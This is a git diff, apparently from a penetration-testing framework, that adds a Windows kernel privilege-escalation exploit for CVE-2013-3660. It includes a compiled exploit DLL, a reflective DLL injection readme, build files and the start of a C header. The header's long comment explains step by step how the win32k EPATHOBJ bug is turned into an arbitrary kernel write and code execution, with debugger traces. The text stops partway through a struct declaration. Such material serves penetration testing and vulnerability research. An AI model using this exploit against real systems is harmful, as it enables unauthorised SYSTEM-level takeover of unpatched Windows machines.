diff --git a/data/exploits/cve-2013-3660/exploit.dll b/data/exploits/cve-2013-3660/exploit.dll new file mode 100755 index 0000000000..cbb761b568 Binary files /dev/null and b/data/exploits/cve-2013-3660/exploit.dll differ diff --git a/external/source/exploits/cve-2013-3660/LICENSE.txt b/external/source/exploits/cve-2013-3660/LICENSE.txt new file mode 100755 index 0000000000..f217025f51 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/LICENSE.txt @@ -0,0 +1,25 @@ +Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted +provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of +conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above copyright notice, this list of +conditions and the following disclaimer in the documentation and/or other materials provided +with the distribution. + + * Neither the name of Harmony Security nor the names of its contributors may be used to +endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/Readme.md b/external/source/exploits/cve-2013-3660/Readme.md new file mode 100755 index 0000000000..8670897457 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/Readme.md @@ -0,0 +1,71 @@ +About +===== + +Reflective DLL injection is a library injection technique in which the concept +of reflective programming is employed to perform the loading of a library from +memory into a host process. As such the library is responsible for loading +itself by implementing a minimal Portable Executable (PE) file loader. It can +then govern, with minimal interaction with the host system and process, how it +will load and interact with the host. + +Injection works from Windows NT4 up to and including Windows 8, running on x86, +x64 and ARM where applicable. + +Overview +======== + +The process of remotely injecting a library into a process is two fold. Firstly, +the library you wish to inject must be written into the address space of the +target process (Herein referred to as the host process). Secondly the library +must be loaded into that host process in such a way that the library's run time +expectations are met, such as resolving its imports or relocating it to a +suitable location in memory. + +Assuming we have code execution in the host process and the library we wish to +inject has been written into an arbitrary location of memory in the host +process, Reflective DLL Injection works as follows. + +* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap +shellcode, to the library's ReflectiveLoader function which is an exported +function found in the library's export table. +* As the library's image will currently exists in an arbitrary location in +memory the ReflectiveLoader will first calculate its own image's current +location in memory so as to be able to parse its own headers for use later on. +* The ReflectiveLoader will then parse the host processes kernel32.dll export +table in order to calculate the addresses of three functions required by the +loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. +* The ReflectiveLoader will now allocate a continuous region of memory into +which it will proceed to load its own image. The location is not important as +the loader will correctly relocate the image later on. +The library's headers and sections are loaded into their new locations in +memory. +* The ReflectiveLoader will then process the newly loaded copy of its image's +import table, loading any additional library's and resolving their respective +imported function addresses. +* The ReflectiveLoader will then process the newly loaded copy of its image's +relocation table. +* The ReflectiveLoader will then call its newly loaded image's entry point +function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully +loaded into memory. +* Finally the ReflectiveLoader will return execution to the initial bootstrap +shellcode which called it, or if it was called via CreateRemoteThread, the +thread will terminate. + +Build +===== + +Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release +mode to make inject.exe and reflective_dll.dll + +Usage +===== + +To test use the inject.exe to inject reflective_dll.dll into a host process via +a process id, e.g.: + +> inject.exe 1234 + +License +======= + +Licensed under a 3 clause BSD license, please see LICENSE.txt for details. diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.sln b/external/source/exploits/cve-2013-3660/dll/reflective_dll.sln new file mode 100755 index 0000000000..eff992d77c --- /dev/null +++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcproj b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcproj new file mode 100755 index 0000000000..33c6bd9515 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcproj @@ -0,0 +1,357 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj new file mode 100755 index 0000000000..ed6cacb681 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj @@ -0,0 +1,266 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + + + + DynamicLibrary + v100 + MultiByte + true + + + DynamicLibrary + v110 + MultiByte + true + + + DynamicLibrary + v110 + Unicode + + + DynamicLibrary + v110 + Unicode + + + DynamicLibrary + v110 + MultiByte + false + + + DynamicLibrary + v110 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + exploit + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Windows + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Windows + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + + + + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + true + Default + + + true + Windows + true + true + $(OutDir)$(ProjectName).arm.dll + + + copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\ + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + + + copy $(OutDir)$(ProjectName).x64.dll ..\bin\ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters new file mode 100755 index 0000000000..15f7cbf646 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj.filters @@ -0,0 +1,32 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/dll/src/ComplexPath.h b/external/source/exploits/cve-2013-3660/dll/src/ComplexPath.h new file mode 100755 index 0000000000..11c4134bb4 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/dll/src/ComplexPath.h @@ -0,0 +1,529 @@ +// +// -------------------------------------------------- +// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit +// ----------------------------------------- taviso@cmpxchg8b.com ----- +// +// INTRODUCTION +// +// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the +// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the +// next list pointer. The bug is really nice, but exploitation when +// allocations start failing is tricky. +// +// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this, +// PATHRECORD **pppr, +// ULONG *pcMax, +// ULONG cNeeded) +// .text:BFA122CA mov esi, [ebp+ppr] +// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev] +// .text:BFA122D0 push edi +// .text:BFA122D1 mov edi, [ebp+pprNew] +// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax +// .text:BFA122D7 lea eax, [edi+PATHRECORD.count] +// .text:BFA122DA xor edx, edx +// .text:BFA122DC mov [eax], edx +// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] +// .text:BFA122E1 and ecx, not (PD_BEZIER) +// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx +// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax +// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx +// .text:BFA122ED jnz short loc_BFA122F7 +// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath] +// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi +// +// It turns out this mostly works because newpathrec() is backed by newpathalloc() +// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned. +// +// ; PVOID __stdcall PALLOCMEM(size_t size, int tag) +// .text:BF9160D7 xor esi, esi +// .text:BF9160DE push esi +// .text:BF9160DF push esi +// .text:BF9160E0 push [ebp+tag] +// .text:BF9160E3 push [ebp+size] +// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x) +// .text:BF9160EB mov esi, eax +// .text:BF9160ED test esi, esi +// .text:BF9160EF jz short loc_BF9160FF +// .text:BF9160F1 push [ebp+size] ; size_t +// .text:BF9160F4 push 0 ; int +// .text:BF9160F6 push esi ; void * +// .text:BF9160F7 call _memset +// +// However, the PATHALLOC allocator includes it's own freelist implementation, and +// if that codepath can satisfy a request the memory isn't zeroed and returned +// directly to the caller. This effectively means that we can add our own objects +// to the PATHRECORD chain. +// +// We can force this behaviour under memory pressure relatively easily, I just +// spam HRGN objects until they start failing. This isn't super reliable, but it's +// good enough for testing. +// +// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on +// // failure. Seriously, do some damn QA Microsoft, wtf. +// for (Size = 1 << 26; Size; Size >>= 1) { +// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) +// ; +// } +// +// Adding user controlled blocks to the freelist is a little trickier, but I've +// found that flattening large lists of bezier curves added with PolyDraw() can +// accomplish this reliably. The code to do this is something along the lines of: +// +// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { +// Points[PointNum].x = 0x41414141 >> 4; +// Points[PointNum].y = 0x41414141 >> 4; +// PointTypes[PointNum] = PT_BEZIERTO; +// } +// +// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) { +// BeginPath(Device); +// PolyDraw(Device, Points, PointTypes, PointNum); +// EndPath(Device); +// FlattenPath(Device); +// FlattenPath(Device); +// EndPath(Device); +// } +// +// We can verify this is working by putting a breakpoint after newpathrec, and +// verifying the buffer is filled with recognisable values when it returns: +// +// kd> u win32k!EPATHOBJ::pprFlattenRec+1E +// win32k!EPATHOBJ::pprFlattenRec+0x1e: +// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69) +// 95c922bd 83f801 cmp eax,1 +// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9) +// 95c922c2 33c0 xor eax,eax +// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d) +// 95c922c9 56 push esi +// 95c922ca 8b7508 mov esi,dword ptr [ebp+8] +// 95c922cd 8b4604 mov eax,dword ptr [esi+4] +// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc" +// kd> g +// fe938fac 41414140 +// fe938fac 41414140 +// fe938fac 41414140 +// fe938fac 41414140 +// fe938fac 41414140 +// +// The breakpoint dumps the first dword of the returned buffer, which matches the +// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move +// EPATHOBJ->records->head->next->next into userspace is no problem, and we can +// easily break the list traversal in bFlattten(): +// +// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) +// { +// EPATHOBJ *pathobj; // esi@1 +// PATHOBJ *ppath; // eax@1 +// BOOL result; // eax@2 +// PATHRECORD *ppr; // eax@3 +// +// pathobj = this; +// ppath = this->ppath; +// if ( ppath ) +// { +// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) +// { +// if ( ppr->flags & PD_BEZIER ) +// { +// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); +// if ( !ppr ) +// goto LABEL_2; +// } +// } +// pathobj->fl &= 0xFFFFFFFE; +// result = 1; +// } +// else +// { +// LABEL_2: +// result = 0; +// } +// return result; +// } +// +// All we have to do is allocate our own PATHRECORD structure, and then spam +// PolyDraw() with POINTFIX structures containing co-ordinates that are actually +// pointers shifted right by 4 (for this reason the structure must be aligned so +// the bits shifted out are all zero). +// +// We can see this in action by putting a breakpoint in bFlatten when ppr has +// moved into userspace: +// +// kd> u win32k!EPATHOBJ::bFlatten +// win32k!EPATHOBJ::bFlatten: +// 95c92517 8bff mov edi,edi +// 95c92519 56 push esi +// 95c9251a 8bf1 mov esi,ecx +// 95c9251c 8b4608 mov eax,dword ptr [esi+8] +// 95c9251f 85c0 test eax,eax +// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527) +// 95c92523 33c0 xor eax,eax +// 95c92525 5e pop esi +// kd> u +// win32k!EPATHOBJ::bFlatten+0xf: +// 95c92526 c3 ret +// 95c92527 8b4014 mov eax,dword ptr [eax+14h] +// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540) +// 95c9252c f6400810 test byte ptr [eax+8],10h +// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e) +// 95c92532 50 push eax +// 95c92533 8bce mov ecx,esi +// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a) +// +// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS +// flags (defined in winddi.h). Let's break if it's in userspace: +// +// kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''" +// kd> g +// 95c9252c f6400810 test byte ptr [eax+8],10h +// kd> r +// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d +// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc +// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 +// win32k!EPATHOBJ::bFlatten+0x15: +// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=?? +// +// The question is how to turn that into code execution? It's obviously trivial to +// call prFlattenRec with our userspace PATHRECORD..we can do that by setting +// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure +// poses a problem. +// +// Let me demonstrate calling it with my own PATHRECORD: +// +// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ +// // pathrecord chain. +// PathRecord = VirtualAlloc(NULL, +// sizeof(PATHRECORD), +// MEM_COMMIT | MEM_RESERVE, +// PAGE_EXECUTE_READWRITE); +// +// // Initialise with recognisable debugging values. +// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC); +// +// PathRecord->next = (PVOID)(0x41414141); +// PathRecord->prev = (PVOID)(0x42424242); +// +// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from +// // EPATHOBJ::bFlatten(), do that here. +// PathRecord->flags = PD_BEZIERS; +// +// // Generate a large number of Bezier Curves made up of pointers to our +// // PATHRECORD object. +// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { +// Points[PointNum].x = (ULONG)(PathRecord) >> 4; +// Points[PointNum].y = (ULONG)(PathRecord) >> 4; +// PointTypes[PointNum] = PT_BEZIERTO; +// } +// +// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'" +// kd> g +// win32k!EPATHOBJ::pprFlattenRec+0x28: +// 95c922c2 33c0 xor eax,eax +// kd> dd ebp+8 L1 +// a3633be0 00130000 +// +// The ppr object is in userspace! If we peek at it: +// +// kd> dd poi(ebp+8) +// 00130000 41414141 42424242 00000010 cccccccc +// 00130010 00000000 00000000 00000000 00000000 +// 00130020 00000000 00000000 00000000 00000000 +// 00130030 00000000 00000000 00000000 00000000 +// 00130040 00000000 00000000 00000000 00000000 +// 00130050 00000000 00000000 00000000 00000000 +// 00130060 00000000 00000000 00000000 00000000 +// 00130070 00000000 00000000 00000000 00000000 +// +// There's the next and prev pointer. +// +// kd> kvn +// # ChildEBP RetAddr Args to Child +// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo]) +// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4]) +// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo]) +// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34) +// +// The question is how to get PATHALLOC() to succeed under memory pressure so we +// can make this exploitable? I'm quite proud of this list cycle trick, +// here's how to turn it into an arbitrary write. +// +// First, we create a watchdog thread that will patch the list atomically +// when we're ready. This is needed because we can't exploit the bug while +// HeavyAllocPool is failing, because of the early exit in pprFlattenRec: +// +// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) +// .text:BFA122BD cmp eax, 1 ; Check for failure +// .text:BFA122C0 jz short continue +// .text:BFA122C2 xor eax, eax ; Exit early +// .text:BFA122C4 jmp early_exit +// +// So we create a list node like this: +// +// PathRecord->Next = PathRecord; +// PathRecord->Flags = 0; +// +// Then EPATHOBJ::bFlatten() spins forever doing nothing: +// +// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this) +// { +// /* ... */ +// +// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext ) +// { +// if ( ppr->flags & PD_BEZIER ) +// { +// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr); +// } +// } +// +// /* ... */ +// } +// +// While it's spinning, we clean up in another thread, then patch the thread (we +// can do this, because it's now in userspace) to trigger the exploit. The first +// block of pprFlattenRec does something like this: +// +// if ( pprNew->pprPrev ) +// pprNew->pprPrev->pprnext = pprNew; +// +// Let's make that write to 0xCCCCCCCC. +// +// DWORD WINAPI WatchdogThread(LPVOID Parameter) +// { +// +// // This routine waits for a mutex object to timeout, then patches the +// // compromised linked list to point to an exploit. We need to do this. +// LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex@%p", +// GetCurrentThreadId(), +// Mutex); +// +// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) { +// // It looks like the main thread is stuck in a call to FlattenPath(), +// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean +// // up, and then patch the list to trigger our exploit. +// while (NumRegion--) +// DeleteObject(Regions[NumRegion]); +// +// LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord); +// +// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); +// +// } else { +// LogMessage(L_ERROR, "Mutex object did not timeout, list not patched"); +// } +// +// return 0; +// } +// +// PathRecord->next = PathRecord; +// PathRecord->prev = (PVOID)(0x42424242); +// PathRecord->flags = 0; +// +// ExploitRecord.next = NULL; +// ExploitRecord.prev = 0xCCCCCCCC; +// ExploitRecord.flags = PD_BEZIERS; +// +// Here's the output on Windows 8: +// +// kd> g +// ******************************************************************************* +// * * +// * Bugcheck Analysis * +// * * +// ******************************************************************************* +// +// Use !analyze -v to get detailed debugging information. +// +// BugCheck 50, {cccccccc, 1, 8f18972e, 2} +// *** WARNING: Unable to verify checksum for ComplexPath.exe +// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe +// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 ) +// +// Followup: MachineOwner +// --------- +// +// nt!RtlpBreakWithStatusInstruction: +// 810f46f4 cc int 3 +// kd> kv +// ChildEBP RetAddr Args to Child +// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0]) +// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo]) +// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4]) +// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6 +// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19 +// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868 +// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4]) +// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c) +// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo]) +// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0]) +// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4]) +// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14) +// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) +// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0]) +// WARNING: Stack unwind information not available. Following frames may be wrong. +// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f +// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade +// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) +// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH]) +// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo]) +// kd> .trap a03aba2c +// ErrCode = 00000002 +// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8 +// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc +// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 +// win32k!EPATHOBJ::pprFlattenRec+0x82: +// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=???????? +// kd> vertarget +// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible +// Product: WinNt, suite: TerminalServer SingleUserTS +// Built by: 9200.16581.x86fre.win8_gdr.130410-1505 +// Machine Name: +// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48 +// Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00) +// System Uptime: 0 days 0:02:30.432 +// kd> .bugcheck +// Bugcheck code 00000050 +// Arguments cccccccc 00000001 8f18972e 00000002 +// +// EXPLOITATION +// +// We're somewhat limited with what we can do, as we don't control what's +// written, it's always a pointer to a PATHRECORD object. We can clobber a +// function pointer, but the problem is making it point somewhere useful. +// +// The solution is to make the Next pointer a valid sequence of instructions, +// which jumps to our second stage payload. We have to do that in just 4 bytes +// (unless you can find a better call site, let me know if you spot one). +// +// Thanks to progmboy for coming up with the solution: you reach back up the +// stack and pull a SystemCall parameter out of the stack. It turns out +// NtQueryIntervalProfile matches this requirement perfectly. +// +// INSTRUCTIONS +// +// C:\> cl ComplexPath.c +// C:\> ComplexPath +// +// You might need to run it several times before we get the allocation we need, +// it won't crash if it doesn't work, so you can keep trying. I'm not sure how +// to improve that. +// +// CREDIT +// +// Tavis Ormandy +// progmboy +// + +#ifndef WIN32_NO_STATUS +# define WIN32_NO_STATUS +#endif +#include +#include +#include +#include +#include +#ifdef WIN32_NO_STATUS +# undef WIN32_NO_STATUS +#endif +#include + +#pragma comment(lib, "gdi32") +#pragma comment(lib, "kernel32") +#pragma comment(lib, "user32") +#pragma comment(lib, "shell32") +#pragma comment(linker, "/SECTION:.text,ERW") + +#ifndef PAGE_SIZE +# define PAGE_SIZE 0x1000 +#endif + +#define MAX_POLYPOINTS (8192 * 3) +#define MAX_REGIONS 8192 +#define CYCLE_TIMEOUT 10000 + +static POINT Points[MAX_POLYPOINTS]; +static BYTE PointTypes[MAX_POLYPOINTS]; +static HRGN Regions[MAX_REGIONS]; +static ULONG ComplexPathNumRegion = 0; +static HANDLE Mutex; +static DWORD ComplexPathFinished = 0; + +// Log levels. +typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; + +BOOL LogMessage(LEVEL Level, PCHAR Format, ...); + +// Copied from winddi.h from the DDK +#define PD_BEGINSUBPATH 0x00000001 +#define PD_ENDSUBPATH 0x00000002 +#define PD_RESETSTYLE 0x00000004 +#define PD_CLOSEFIGURE 0x00000008 +#define PD_BEZIERS 0x00000010 + +typedef struct _POINTFIX +{ + ULONG x; + ULONG y; +} POINTFIX, *PPOINTFIX; + +// Approximated from reverse engineering. +typedef struct _PATHRECORD { + struct _PATHRECORD *next; + struct _PATHRECORD *prev; + ULONG flags; + ULONG count; + POINTFIX points[4]; +} PATHRECORD, *PPATHRECORD; + +PPATHRECORD PathRecord; +PATHRECORD ExploitRecord; +PPATHRECORD ExploitRecordExit; + +enum { SystemModuleInformation = 11 }; +enum { ProfileTotalIssues = 2 }; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES { + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, 